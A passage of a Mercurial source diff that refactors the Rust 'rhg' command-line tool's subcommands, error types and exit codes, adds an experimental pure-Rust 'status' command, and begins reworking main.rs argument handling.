"))?; + + if let Some(value) = invocation.config.get(section, name) { + invocation.ui.write_stdout(&format_bytes!(b"{}\n", value))?; + Ok(()) + } else { + Err(CommandError::Unsuccessful) + } +} diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/commands/debugdata.rs --- a/rust/rhg/src/commands/debugdata.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/rhg/src/commands/debugdata.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,91 +1,65 @@ -use crate::commands::Command; -use crate::error::{CommandError, CommandErrorKind}; -use crate::ui::utf8_to_local; -use crate::ui::Ui; -use hg::operations::{ - debug_data, DebugDataError, DebugDataErrorKind, DebugDataKind, -}; -use hg::repo::Repo; +use crate::error::CommandError; +use clap::Arg; +use clap::ArgGroup; +use hg::operations::{debug_data, DebugDataKind}; use micro_timer::timed; pub const HELP_TEXT: &str = " Dump the contents of a data file revision "; -pub struct DebugDataCommand<'a> { - rev: &'a str, - kind: DebugDataKind, -} - -impl<'a> DebugDataCommand<'a> { - pub fn new(rev: &'a str, kind: DebugDataKind) -> Self { - DebugDataCommand { rev, kind } - } -} - -impl<'a> Command for DebugDataCommand<'a> { - #[timed] - fn run(&self, ui: &Ui) -> Result<(), CommandError> { - let repo = Repo::find()?; - let data = debug_data(&repo, self.rev, self.kind) - .map_err(|e| to_command_error(self.rev, e))?; - - let mut stdout = ui.stdout_buffer(); - stdout.write_all(&data)?; - stdout.flush()?; - - Ok(()) - } +pub fn args() -> clap::App<'static, 'static> { + clap::SubCommand::with_name("debugdata") + .arg( + Arg::with_name("changelog") + .help("open changelog") + .short("-c") + .long("--changelog"), + ) + .arg( + Arg::with_name("manifest") + .help("open manifest") + .short("-m") + .long("--manifest"), + ) + .group( + ArgGroup::with_name("") + .args(&["changelog", "manifest"]) + .required(true), + ) + .arg( + Arg::with_name("rev") + .help("revision") + .required(true) + .value_name("REV"), + ) + .about(HELP_TEXT) } -/// Convert operation errors to command errors -fn to_command_error(rev: &str, err: DebugDataError) -> CommandError { - match err.kind { - DebugDataErrorKind::IoError(err) => CommandError { - kind: CommandErrorKind::Abort(Some( - utf8_to_local(&format!("abort: {}\n", err)).into(), - )), - }, - DebugDataErrorKind::InvalidRevision => CommandError { - kind: CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: invalid revision identifier{}\n", - rev - )) - .into(), - )), - }, - DebugDataErrorKind::AmbiguousPrefix => CommandError { - kind: CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: ambiguous revision identifier{}\n", - rev - )) - .into(), - )), - }, - DebugDataErrorKind::UnsuportedRevlogVersion(version) => CommandError { - kind: CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: unsupported revlog version {}\n", - version - )) - .into(), - )), - }, - DebugDataErrorKind::CorruptedRevlog => CommandError { - kind: CommandErrorKind::Abort(Some( - "abort: corrupted revlog\n".into(), - )), - }, - DebugDataErrorKind::UnknowRevlogDataFormat(format) => CommandError { - kind: CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: unknow revlog dataformat {:?}\n", - format - )) - .into(), - )), - }, - } +#[timed] +pub fn run(invocation: &crate::CliInvocation) -> Result<(), CommandError> { + let args = invocation.subcommand_args; + let rev = args + .value_of("rev") + .expect("rev should be a required argument"); + let kind = + match (args.is_present("changelog"), args.is_present("manifest")) { + (true, false) => DebugDataKind::Changelog, + (false, true) => DebugDataKind::Manifest, + (true, true) => { + unreachable!("Should not happen since options are exclusive") + } + (false, false) => { + unreachable!("Should not happen since options are required") + } + }; + + let repo = invocation.repo?; + let data = debug_data(repo, rev, kind).map_err(|e| (e, rev))?; + + let mut stdout = invocation.ui.stdout_buffer(); + stdout.write_all(&data)?; + stdout.flush()?; + + Ok(()) } diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/commands/debugrequirements.rs --- a/rust/rhg/src/commands/debugrequirements.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/rhg/src/commands/debugrequirements.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,30 +1,22 @@ -use crate::commands::Command; use crate::error::CommandError; -use crate::ui::Ui; -use hg::repo::Repo; -use hg::requirements; pub const HELP_TEXT: &str = " Print the current repo requirements. "; -pub struct DebugRequirementsCommand {} - -impl DebugRequirementsCommand { - pub fn new() -> Self { - DebugRequirementsCommand {} - } +pub fn args() -> clap::App<'static, 'static> { + clap::SubCommand::with_name("debugrequirements").about(HELP_TEXT) } -impl Command for DebugRequirementsCommand { - fn run(&self, ui: &Ui) -> Result<(), CommandError> { - let repo = Repo::find()?; - let mut output = String::new(); - for req in requirements::load(&repo)? { - output.push_str(&req); - output.push('\n'); - } - ui.write_stdout(output.as_bytes())?; - Ok(()) +pub fn run(invocation: &crate::CliInvocation) -> Result<(), CommandError> { + let repo = invocation.repo?; + let mut output = String::new(); + let mut requirements: Vec<_> = repo.requirements().iter().collect(); + requirements.sort(); + for req in requirements { + output.push_str(req); + output.push('\n'); } + invocation.ui.write_stdout(output.as_bytes())?; + Ok(()) } diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/commands/files.rs --- a/rust/rhg/src/commands/files.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/rhg/src/commands/files.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,15 +1,10 @@ -use crate::commands::Command; -use crate::error::{CommandError, CommandErrorKind}; -use crate::ui::utf8_to_local; +use crate::error::CommandError; use crate::ui::Ui; -use hg::operations::{ - list_rev_tracked_files, ListRevTrackedFilesError, - ListRevTrackedFilesErrorKind, -}; -use hg::operations::{ - Dirstate, ListDirstateTrackedFilesError, ListDirstateTrackedFilesErrorKind, -}; +use clap::Arg; +use hg::operations::list_rev_tracked_files; +use hg::operations::Dirstate; use hg::repo::Repo; +use hg::utils::current_dir; use hg::utils::files::{get_bytes_from_path, relativize_path}; use hg::utils::hg_path::{HgPath, HgPathBuf}; @@ -19,124 +14,78 @@ Returns 0 on success. "; -pub struct FilesCommand<'a> { - rev: Option<&'a str>, +pub fn args() -> clap::App<'static, 'static> { + clap::SubCommand::with_name("files") + .arg( + Arg::with_name("rev") + .help("search the repository as it is in REV") + .short("-r") + .long("--revision") + .value_name("REV") + .takes_value(true), + ) + .about(HELP_TEXT) } -impl<'a> FilesCommand<'a> { - pub fn new(rev: Option<&'a str>) -> Self { - FilesCommand { rev } +pub fn run(invocation: &crate::CliInvocation) -> Result<(), CommandError> { + let relative = invocation.config.get(b"ui", b"relative-paths"); + if relative.is_some() { + return Err(CommandError::unsupported( + "non-default ui.relative-paths", + )); } - fn display_files( - &self, - ui: &Ui, - repo: &Repo, - files: impl IntoIterator, - ) -> Result<(), CommandError> { - let cwd = std::env::current_dir() - .or_else(|e| Err(CommandErrorKind::CurrentDirNotFound(e)))?; - let rooted_cwd = cwd - .strip_prefix(repo.working_directory_path()) - .expect("cwd was already checked within the repository"); - let rooted_cwd = HgPathBuf::from(get_bytes_from_path(rooted_cwd)); - - let mut stdout = ui.stdout_buffer(); + let rev = invocation.subcommand_args.value_of("rev"); - for file in files { - stdout.write_all(relativize_path(file, &rooted_cwd).as_ref())?; - stdout.write_all(b"\n")?; - } - stdout.flush()?; - Ok(()) - } -} - -impl<'a> Command for FilesCommand<'a> { - fn run(&self, ui: &Ui) -> Result<(), CommandError> { - let repo = Repo::find()?; - repo.check_requirements()?; - if let Some(rev) = self.rev { - let files = list_rev_tracked_files(&repo, rev) - .map_err(|e| map_rev_error(rev, e))?; - self.display_files(ui, &repo, files.iter()) - } else { - let distate = Dirstate::new(&repo).map_err(map_dirstate_error)?; - let files = distate.tracked_files().map_err(map_dirstate_error)?; - self.display_files(ui, &repo, files) - } + let repo = invocation.repo?; + if let Some(rev) = rev { + let files = list_rev_tracked_files(repo, rev).map_err(|e| (e, rev))?; + display_files(invocation.ui, repo, files.iter()) + } else { + let distate = Dirstate::new(repo)?; + let files = distate.tracked_files()?; + display_files(invocation.ui, repo, files) } } -/// Convert `ListRevTrackedFilesErrorKind` to `CommandError` -fn map_rev_error(rev: &str, err: ListRevTrackedFilesError) -> CommandError { - CommandError { - kind: match err.kind { - ListRevTrackedFilesErrorKind::IoError(err) => { - CommandErrorKind::Abort(Some( - utf8_to_local(&format!("abort: {}\n", err)).into(), - )) - } - ListRevTrackedFilesErrorKind::InvalidRevision => { - CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: invalid revision identifier {}\n", - rev - )) - .into(), - )) - } - ListRevTrackedFilesErrorKind::AmbiguousPrefix => { - CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: ambiguous revision identifier {}\n", - rev - )) - .into(), - )) - } - ListRevTrackedFilesErrorKind::UnsuportedRevlogVersion(version) => { - CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: unsupported revlog version {}\n", - version - )) - .into(), - )) - } - ListRevTrackedFilesErrorKind::CorruptedRevlog => { - CommandErrorKind::Abort(Some( - "abort: corrupted revlog\n".into(), - )) - } - ListRevTrackedFilesErrorKind::UnknowRevlogDataFormat(format) => { - CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: unknow revlog dataformat {:?}\n", - format - )) - .into(), - )) - } - }, +fn display_files<'a>( + ui: &Ui, + repo: &Repo, + files: impl IntoIterator, +) -> Result<(), CommandError> { + let mut stdout = ui.stdout_buffer(); + + let cwd = current_dir()?; + let working_directory = repo.working_directory_path(); + let working_directory = cwd.join(working_directory); // Make it absolute + + let mut any = false; + if let Ok(cwd_relative_to_repo) = cwd.strip_prefix(&working_directory) { + // The current directory is inside the repo, so we can work with + // relative paths + let cwd = HgPathBuf::from(get_bytes_from_path(cwd_relative_to_repo)); + for file in files { + any = true; + stdout.write_all(relativize_path(&file, &cwd).as_ref())?; + stdout.write_all(b"\n")?; + } + } else { + let working_directory = + HgPathBuf::from(get_bytes_from_path(working_directory)); + let cwd = HgPathBuf::from(get_bytes_from_path(cwd)); + for file in files { + any = true; + // Absolute path in the filesystem + let file = working_directory.join(file); + stdout.write_all(relativize_path(&file, &cwd).as_ref())?; + stdout.write_all(b"\n")?; + } + } + + stdout.flush()?; + if any { + Ok(()) + } else { + Err(CommandError::Unsuccessful) } } - -/// Convert `ListDirstateTrackedFilesError` to `CommandError` -fn map_dirstate_error(err: ListDirstateTrackedFilesError) -> CommandError { - CommandError { - kind: match err.kind { - ListDirstateTrackedFilesErrorKind::IoError(err) => { - CommandErrorKind::Abort(Some( - utf8_to_local(&format!("abort: {}\n", err)).into(), - )) - } - ListDirstateTrackedFilesErrorKind::ParseError(_) => { - CommandErrorKind::Abort(Some( - // TODO find a better error message - b"abort: parse error\n".to_vec(), - )) - } - }, - } -} diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/commands/root.rs --- a/rust/rhg/src/commands/root.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/rhg/src/commands/root.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,8 +1,6 @@ -use crate::commands::Command; use crate::error::CommandError; -use crate::ui::Ui; use format_bytes::format_bytes; -use hg::repo::Repo; +use hg::errors::{IoErrorContext, IoResultExt}; use hg::utils::files::get_bytes_from_path; pub const HELP_TEXT: &str = " @@ -11,19 +9,20 @@ Returns 0 on success. "; -pub struct RootCommand {} - -impl RootCommand { - pub fn new() -> Self { - RootCommand {} - } +pub fn args() -> clap::App<'static, 'static> { + clap::SubCommand::with_name("root").about(HELP_TEXT) } -impl Command for RootCommand { - fn run(&self, ui: &Ui) -> Result<(), CommandError> { - let repo = Repo::find()?; - let bytes = get_bytes_from_path(repo.working_directory_path()); - ui.write_stdout(&format_bytes!(b"{}\n", bytes.as_slice()))?; - Ok(()) - } +pub fn run(invocation: &crate::CliInvocation) -> Result<(), CommandError> { + let repo = invocation.repo?; + let working_directory = repo.working_directory_path(); + let working_directory = std::fs::canonicalize(working_directory) + .with_context(|| { + IoErrorContext::CanonicalizingPath(working_directory.to_owned()) + })?; + let bytes = get_bytes_from_path(&working_directory); + invocation + .ui + .write_stdout(&format_bytes!(b"{}\n", bytes.as_slice()))?; + Ok(()) } diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/commands/status.rs --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/rust/rhg/src/commands/status.rs Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,315 @@ +// status.rs +// +// Copyright 2020, Georges Racinet +// +// This software may be used and distributed according to the terms of the +// GNU General Public License version 2 or any later version. + +use crate::error::CommandError; +use crate::ui::Ui; +use clap::{Arg, SubCommand}; +use hg; +use hg::errors::IoResultExt; +use hg::matchers::AlwaysMatcher; +use hg::operations::cat; +use hg::repo::Repo; +use hg::revlog::node::Node; +use hg::utils::hg_path::{hg_path_to_os_string, HgPath}; +use hg::{DirstateMap, StatusError}; +use hg::{HgPathCow, StatusOptions}; +use log::{info, warn}; +use std::convert::TryInto; +use std::fs; +use std::io::BufReader; +use std::io::Read; + +pub const HELP_TEXT: &str = " +Show changed files in the working directory + +This is a pure Rust version of `hg status`. + +Some options might be missing, check the list below. +"; + +pub fn args() -> clap::App<'static, 'static> { + SubCommand::with_name("status") + .alias("st") + .about(HELP_TEXT) + .arg( + Arg::with_name("all") + .help("show status of all files") + .short("-A") + .long("--all"), + ) + .arg( + Arg::with_name("modified") + .help("show only modified files") + .short("-m") + .long("--modified"), + ) + .arg( + Arg::with_name("added") + .help("show only added files") + .short("-a") + .long("--added"), + ) + .arg( + Arg::with_name("removed") + .help("show only removed files") + .short("-r") + .long("--removed"), + ) + .arg( + Arg::with_name("clean") + .help("show only clean files") + .short("-c") + .long("--clean"), + ) + .arg( + Arg::with_name("deleted") + .help("show only deleted files") + .short("-d") + .long("--deleted"), + ) + .arg( + Arg::with_name("unknown") + .help("show only unknown (not tracked) files") + .short("-u") + .long("--unknown"), + ) + .arg( + Arg::with_name("ignored") + .help("show only ignored files") + .short("-i") + .long("--ignored"), + ) +} + +/// Pure data type allowing the caller to specify file states to display +#[derive(Copy, Clone, Debug)] +pub struct DisplayStates { + pub modified: bool, + pub added: bool, + pub removed: bool, + pub clean: bool, + pub deleted: bool, + pub unknown: bool, + pub ignored: bool, +} + +pub const DEFAULT_DISPLAY_STATES: DisplayStates = DisplayStates { + modified: true, + added: true, + removed: true, + clean: false, + deleted: true, + unknown: true, + ignored: false, +}; + +pub const ALL_DISPLAY_STATES: DisplayStates = DisplayStates { + modified: true, + added: true, + removed: true, + clean: true, + deleted: true, + unknown: true, + ignored: true, +}; + +impl DisplayStates { + pub fn is_empty(&self) -> bool { + !(self.modified + || self.added + || self.removed + || self.clean + || self.deleted + || self.unknown + || self.ignored) + } +} + +pub fn run(invocation: &crate::CliInvocation) -> Result<(), CommandError> { + let status_enabled_default = false; + let status_enabled = invocation.config.get_option(b"rhg", b"status")?; + if !status_enabled.unwrap_or(status_enabled_default) { + return Err(CommandError::unsupported( + "status is experimental in rhg (enable it with 'rhg.status = true' \ + or enable fallback with 'rhg.on-unsupported = fallback')" + )); + } + + let ui = invocation.ui; + let args = invocation.subcommand_args; + let display_states = if args.is_present("all") { + // TODO when implementing `--quiet`: it excludes clean files + // from `--all` + ALL_DISPLAY_STATES + } else { + let requested = DisplayStates { + modified: args.is_present("modified"), + added: args.is_present("added"), + removed: args.is_present("removed"), + clean: args.is_present("clean"), + deleted: args.is_present("deleted"), + unknown: args.is_present("unknown"), + ignored: args.is_present("ignored"), + }; + if requested.is_empty() { + DEFAULT_DISPLAY_STATES + } else { + requested + } + }; + + let repo = invocation.repo?; + let mut dmap = DirstateMap::new(); + let dirstate_data = repo.hg_vfs().mmap_open("dirstate")?; + let parents = dmap.read(&dirstate_data)?; + let options = StatusOptions { + // TODO should be provided by the dirstate parsing and + // hence be stored on dmap. Using a value that assumes we aren't + // below the time resolution granularity of the FS and the + // dirstate. + last_normal_time: 0, + // we're currently supporting file systems with exec flags only + // anyway + check_exec: true, + list_clean: display_states.clean, + list_unknown: display_states.unknown, + list_ignored: display_states.ignored, + collect_traversed_dirs: false, + }; + let ignore_file = repo.working_directory_vfs().join(".hgignore"); // TODO hardcoded + let ((lookup, ds_status), pattern_warnings) = hg::status( + &dmap, + &AlwaysMatcher, + repo.working_directory_path().to_owned(), + vec![ignore_file], + options, + )?; + if !pattern_warnings.is_empty() { + warn!("Pattern warnings: {:?}", &pattern_warnings); + } + + if !ds_status.bad.is_empty() { + warn!("Bad matches {:?}", &(ds_status.bad)) + } + if !lookup.is_empty() { + info!( + "Files to be rechecked by retrieval from filelog: {:?}", + &lookup + ); + } + // TODO check ordering to match `hg status` output. + // (this is as in `hg help status`) + if display_states.modified { + display_status_paths(ui, &(ds_status.modified), b"M")?; + } + if !lookup.is_empty() { + let p1: Node = parents + .expect( + "Dirstate with no parents should not list any file to + be rechecked for modifications", + ) + .p1 + .into(); + let p1_hex = format!("{:x}", p1); + let mut rechecked_modified: Vec = Vec::new(); + let mut rechecked_clean: Vec = Vec::new(); + for to_check in lookup { + if cat_file_is_modified(repo, &to_check, &p1_hex)? { + rechecked_modified.push(to_check); + } else { + rechecked_clean.push(to_check); + } + } + if display_states.modified { + display_status_paths(ui, &rechecked_modified, b"M")?; + } + if display_states.clean { + display_status_paths(ui, &rechecked_clean, b"C")?; + } + } + if display_states.added { + display_status_paths(ui, &(ds_status.added), b"A")?; + } + if display_states.clean { + display_status_paths(ui, &(ds_status.clean), b"C")?; + } + if display_states.removed { + display_status_paths(ui, &(ds_status.removed), b"R")?; + } + if display_states.deleted { + display_status_paths(ui, &(ds_status.deleted), b"!")?; + } + if display_states.unknown { + display_status_paths(ui, &(ds_status.unknown), b"?")?; + } + if display_states.ignored { + display_status_paths(ui, &(ds_status.ignored), b"I")?; + } + Ok(()) +} + +// Probably more elegant to use a Deref or Borrow trait rather than +// harcode HgPathBuf, but probably not really useful at this point +fn display_status_paths( + ui: &Ui, + paths: &[HgPathCow], + status_prefix: &[u8], +) -> Result<(), CommandError> { + for path in paths { + // Same TODO as in commands::root + let bytes: &[u8] = path.as_bytes(); + // TODO optim, probably lots of unneeded copies here, especially + // if out stream is buffered + ui.write_stdout(&[status_prefix, b" ", bytes, b"\n"].concat())?; + } + Ok(()) +} + +/// Check if a file is modified by comparing actual repo store and file system. +/// +/// This meant to be used for those that the dirstate cannot resolve, due +/// to time resolution limits. +/// +/// TODO: detect permission bits and similar metadata modifications +fn cat_file_is_modified( + repo: &Repo, + hg_path: &HgPath, + rev: &str, +) -> Result { + // TODO CatRev expects &[HgPathBuf], something like + // &[impl Deref] would be nicer and should avoid the copy + let path_bufs = [hg_path.into()]; + // TODO IIUC CatRev returns a simple Vec for all files + // being able to tell them apart as (path, bytes) would be nicer + // and OPTIM would allow manifest resolution just once. + let output = cat(repo, rev, &path_bufs).map_err(|e| (e, rev))?; + + let fs_path = repo + .working_directory_vfs() + .join(hg_path_to_os_string(hg_path).expect("HgPath conversion")); + let hg_data_len: u64 = match output.concatenated.len().try_into() { + Ok(v) => v, + Err(_) => { + // conversion of data length to u64 failed, + // good luck for any file to have this content + return Ok(true); + } + }; + let fobj = fs::File::open(&fs_path).when_reading_file(&fs_path)?; + if fobj.metadata().map_err(|e| StatusError::from(e))?.len() != hg_data_len + { + return Ok(true); + } + for (fs_byte, hg_byte) in + BufReader::new(fobj).bytes().zip(output.concatenated) + { + if fs_byte.map_err(|e| StatusError::from(e))? != hg_byte { + return Ok(true); + } + } + Ok(false) +} diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/error.rs --- a/rust/rhg/src/error.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/rhg/src/error.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,124 +1,195 @@ use crate::exitcode; +use crate::ui::utf8_to_local; use crate::ui::UiError; +use crate::NoRepoInCwdError; use format_bytes::format_bytes; -use hg::operations::{FindRootError, FindRootErrorKind}; -use hg::requirements::RequirementsError; +use hg::config::{ConfigError, ConfigParseError, ConfigValueParseError}; +use hg::errors::HgError; +use hg::repo::RepoError; +use hg::revlog::revlog::RevlogError; use hg::utils::files::get_bytes_from_path; +use hg::{DirstateError, DirstateMapError, StatusError}; use std::convert::From; -use std::path::PathBuf; /// The kind of command error #[derive(Debug)] -pub enum CommandErrorKind { - /// The root of the repository cannot be found - RootNotFound(PathBuf), - /// The current directory cannot be found - CurrentDirNotFound(std::io::Error), - /// `.hg/requires` - RequirementsError(RequirementsError), - /// The standard output stream cannot be written to - StdoutError, - /// The standard error stream cannot be written to - StderrError, - /// The command aborted - Abort(Option>), - /// A mercurial capability as not been implemented. - Unimplemented, +pub enum CommandError { + /// Exit with an error message and "standard" failure exit code. + Abort { + message: Vec, + detailed_exit_code: exitcode::ExitCode, + }, + + /// Exit with a failure exit code but no message. + Unsuccessful, + + /// Encountered something (such as a CLI argument, repository layout, …) + /// not supported by this version of `rhg`. Depending on configuration + /// `rhg` may attempt to silently fall back to Python-based `hg`, which + /// may or may not support this feature. + UnsupportedFeature { message: Vec }, } -impl CommandErrorKind { - pub fn get_exit_code(&self) -> exitcode::ExitCode { - match self { - CommandErrorKind::RootNotFound(_) => exitcode::ABORT, - CommandErrorKind::CurrentDirNotFound(_) => exitcode::ABORT, - CommandErrorKind::RequirementsError( - RequirementsError::Unsupported { .. }, - ) => exitcode::UNIMPLEMENTED_COMMAND, - CommandErrorKind::RequirementsError(_) => exitcode::ABORT, - CommandErrorKind::StdoutError => exitcode::ABORT, - CommandErrorKind::StderrError => exitcode::ABORT, - CommandErrorKind::Abort(_) => exitcode::ABORT, - CommandErrorKind::Unimplemented => exitcode::UNIMPLEMENTED_COMMAND, +impl CommandError { + pub fn abort(message: impl AsRef) -> Self { + CommandError::abort_with_exit_code(message, exitcode::ABORT) + } + + pub fn abort_with_exit_code( + message: impl AsRef, + detailed_exit_code: exitcode::ExitCode, + ) -> Self { + CommandError::Abort { + // TODO: bytes-based (instead of Unicode-based) formatting + // of error messages to handle non-UTF-8 filenames etc: + // https://www.mercurial-scm.org/wiki/EncodingStrategy#Mixing_output + message: utf8_to_local(message.as_ref()).into(), + detailed_exit_code: detailed_exit_code, } } - /// Return the message corresponding to the error kind if any - pub fn get_error_message_bytes(&self) -> Option> { - match self { - CommandErrorKind::RootNotFound(path) => { - let bytes = get_bytes_from_path(path); - Some(format_bytes!( - b"abort: no repository found in '{}' (.hg not found)!\n", - bytes.as_slice() - )) + pub fn unsupported(message: impl AsRef) -> Self { + CommandError::UnsupportedFeature { + message: utf8_to_local(message.as_ref()).into(), + } + } +} + +/// For now we don’t differenciate between invalid CLI args and valid for `hg` +/// but not supported yet by `rhg`. +impl From for CommandError { + fn from(error: clap::Error) -> Self { + CommandError::unsupported(error.to_string()) + } +} + +impl From for CommandError { + fn from(error: HgError) -> Self { + match error { + HgError::UnsupportedFeature(message) => { + CommandError::unsupported(message) } - CommandErrorKind::CurrentDirNotFound(e) => Some(format_bytes!( - b"abort: error getting current working directory: {}\n", - e.to_string().as_bytes(), - )), - CommandErrorKind::RequirementsError( - RequirementsError::Corrupted, - ) => Some( - "abort: .hg/requires is corrupted\n".as_bytes().to_owned(), - ), - CommandErrorKind::Abort(message) => message.to_owned(), - _ => None, + _ => CommandError::abort(error.to_string()), } } } -/// The error type for the Command trait -#[derive(Debug)] -pub struct CommandError { - pub kind: CommandErrorKind, -} - -impl CommandError { - /// Exist the process with the corresponding exit code. - pub fn exit(&self) { - std::process::exit(self.kind.get_exit_code()) - } - - /// Return the message corresponding to the command error if any - pub fn get_error_message_bytes(&self) -> Option> { - self.kind.get_error_message_bytes() - } -} - -impl From for CommandError { - fn from(kind: CommandErrorKind) -> Self { - CommandError { kind } +impl From for CommandError { + fn from(error: ConfigValueParseError) -> Self { + CommandError::abort_with_exit_code( + error.to_string(), + exitcode::CONFIG_ERROR_ABORT, + ) } } impl From for CommandError { - fn from(error: UiError) -> Self { - CommandError { - kind: match error { - UiError::StdoutError(_) => CommandErrorKind::StdoutError, - UiError::StderrError(_) => CommandErrorKind::StderrError, + fn from(_error: UiError) -> Self { + // If we already failed writing to stdout or stderr, + // writing an error message to stderr about it would be likely to fail + // too. + CommandError::abort("") + } +} + +impl From for CommandError { + fn from(error: RepoError) -> Self { + match error { + RepoError::NotFound { at } => CommandError::Abort { + message: format_bytes!( + b"abort: repository {} not found", + get_bytes_from_path(at) + ), + detailed_exit_code: exitcode::ABORT, }, + RepoError::ConfigParseError(error) => error.into(), + RepoError::Other(error) => error.into(), + } + } +} + +impl<'a> From<&'a NoRepoInCwdError> for CommandError { + fn from(error: &'a NoRepoInCwdError) -> Self { + let NoRepoInCwdError { cwd } = error; + CommandError::Abort { + message: format_bytes!( + b"abort: no repository found in '{}' (.hg not found)!", + get_bytes_from_path(cwd) + ), + detailed_exit_code: exitcode::ABORT, + } + } +} + +impl From for CommandError { + fn from(error: ConfigError) -> Self { + match error { + ConfigError::Parse(error) => error.into(), + ConfigError::Other(error) => error.into(), } } } -impl From for CommandError { - fn from(err: FindRootError) -> Self { - match err.kind { - FindRootErrorKind::RootNotFound(path) => CommandError { - kind: CommandErrorKind::RootNotFound(path), - }, - FindRootErrorKind::GetCurrentDirError(e) => CommandError { - kind: CommandErrorKind::CurrentDirNotFound(e), - }, +impl From for CommandError { + fn from(error: ConfigParseError) -> Self { + let ConfigParseError { + origin, + line, + message, + } = error; + let line_message = if let Some(line_number) = line { + format_bytes!(b":{}", line_number.to_string().into_bytes()) + } else { + Vec::new() + }; + CommandError::Abort { + message: format_bytes!( + b"config error at {}{}: {}", + origin, + line_message, + message + ), + detailed_exit_code: exitcode::CONFIG_ERROR_ABORT, } } } -impl From for CommandError { - fn from(err: RequirementsError) -> Self { - CommandError { - kind: CommandErrorKind::RequirementsError(err), +impl From<(RevlogError, &str)> for CommandError { + fn from((err, rev): (RevlogError, &str)) -> CommandError { + match err { + RevlogError::WDirUnsupported => CommandError::abort( + "abort: working directory revision cannot be specified", + ), + RevlogError::InvalidRevision => CommandError::abort(format!( + "abort: invalid revision identifier: {}", + rev + )), + RevlogError::AmbiguousPrefix => CommandError::abort(format!( + "abort: ambiguous revision identifier: {}", + rev + )), + RevlogError::Other(error) => error.into(), } } } + +impl From for CommandError { + fn from(error: StatusError) -> Self { + CommandError::abort(format!("{}", error)) + } +} + +impl From for CommandError { + fn from(error: DirstateMapError) -> Self { + CommandError::abort(format!("{}", error)) + } +} + +impl From for CommandError { + fn from(error: DirstateError) -> Self { + match error { + DirstateError::Common(error) => error.into(), + DirstateError::Map(error) => error.into(), + } + } +} diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/exitcode.rs --- a/rust/rhg/src/exitcode.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/rhg/src/exitcode.rs Tue Apr 20 11:01:06 2021 -0400 @@ -6,5 +6,11 @@ /// Generic abort pub const ABORT: ExitCode = 255; -/// Command not implemented by rhg -pub const UNIMPLEMENTED_COMMAND: ExitCode = 252; +// Abort when there is a config related error +pub const CONFIG_ERROR_ABORT: ExitCode = 30; + +/// Generic something completed but did not succeed +pub const UNSUCCESSFUL: ExitCode = 1; + +/// Command or feature not implemented by rhg +pub const UNIMPLEMENTED: ExitCode = 252; diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/main.rs --- a/rust/rhg/src/main.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/rhg/src/main.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,185 +1,509 @@ extern crate log; +use crate::ui::Ui; use clap::App; use clap::AppSettings; use clap::Arg; -use clap::ArgGroup; use clap::ArgMatches; -use clap::SubCommand; -use hg::operations::DebugDataKind; -use std::convert::TryFrom; +use format_bytes::{format_bytes, join}; +use hg::config::Config; +use hg::repo::{Repo, RepoError}; +use hg::utils::files::{get_bytes_from_os_str, get_path_from_bytes}; +use hg::utils::SliceExt; +use std::ffi::OsString; +use std::path::PathBuf; +use std::process::Command; -mod commands; +mod blackbox; mod error; mod exitcode; mod ui; -use commands::Command; use error::CommandError; -fn main() { - env_logger::init(); +fn main_with_result( + process_start_time: &blackbox::ProcessStartTime, + ui: &ui::Ui, + repo: Result<&Repo, &NoRepoInCwdError>, + config: &Config, +) -> Result<(), CommandError> { + check_extensions(config)?; + let app = App::new("rhg") - .setting(AppSettings::AllowInvalidUtf8) + .global_setting(AppSettings::AllowInvalidUtf8) + .global_setting(AppSettings::DisableVersion) .setting(AppSettings::SubcommandRequired) .setting(AppSettings::VersionlessSubcommands) - .version("0.0.1") - .subcommand( - SubCommand::with_name("root").about(commands::root::HELP_TEXT), - ) - .subcommand( - SubCommand::with_name("files") - .arg( - Arg::with_name("rev") - .help("search the repository as it is in REV") - .short("-r") - .long("--revision") - .value_name("REV") - .takes_value(true), - ) - .about(commands::files::HELP_TEXT), + .arg( + Arg::with_name("repository") + .help("repository root directory") + .short("-R") + .long("--repository") + .value_name("REPO") + .takes_value(true) + // Both ok: `hg -R ./foo log` or `hg log -R ./foo` + .global(true), ) - .subcommand( - SubCommand::with_name("cat") - .arg( - Arg::with_name("rev") - .help("search the repository as it is in REV") - .short("-r") - .long("--revision") - .value_name("REV") - .takes_value(true), - ) - .arg( - clap::Arg::with_name("files") - .required(true) - .multiple(true) - .empty_values(false) - .value_name("FILE") - .help("Activity to start: activity@category"), - ) - .about(commands::cat::HELP_TEXT), + .arg( + Arg::with_name("config") + .help("set/override config option (use 'section.name=value')") + .long("--config") + .value_name("CONFIG") + .takes_value(true) + .global(true) + // Ok: `--config section.key1=val --config section.key2=val2` + .multiple(true) + // Not ok: `--config section.key1=val section.key2=val2` + .number_of_values(1), + ) + .arg( + Arg::with_name("cwd") + .help("change working directory") + .long("--cwd") + .value_name("DIR") + .takes_value(true) + .global(true), ) - 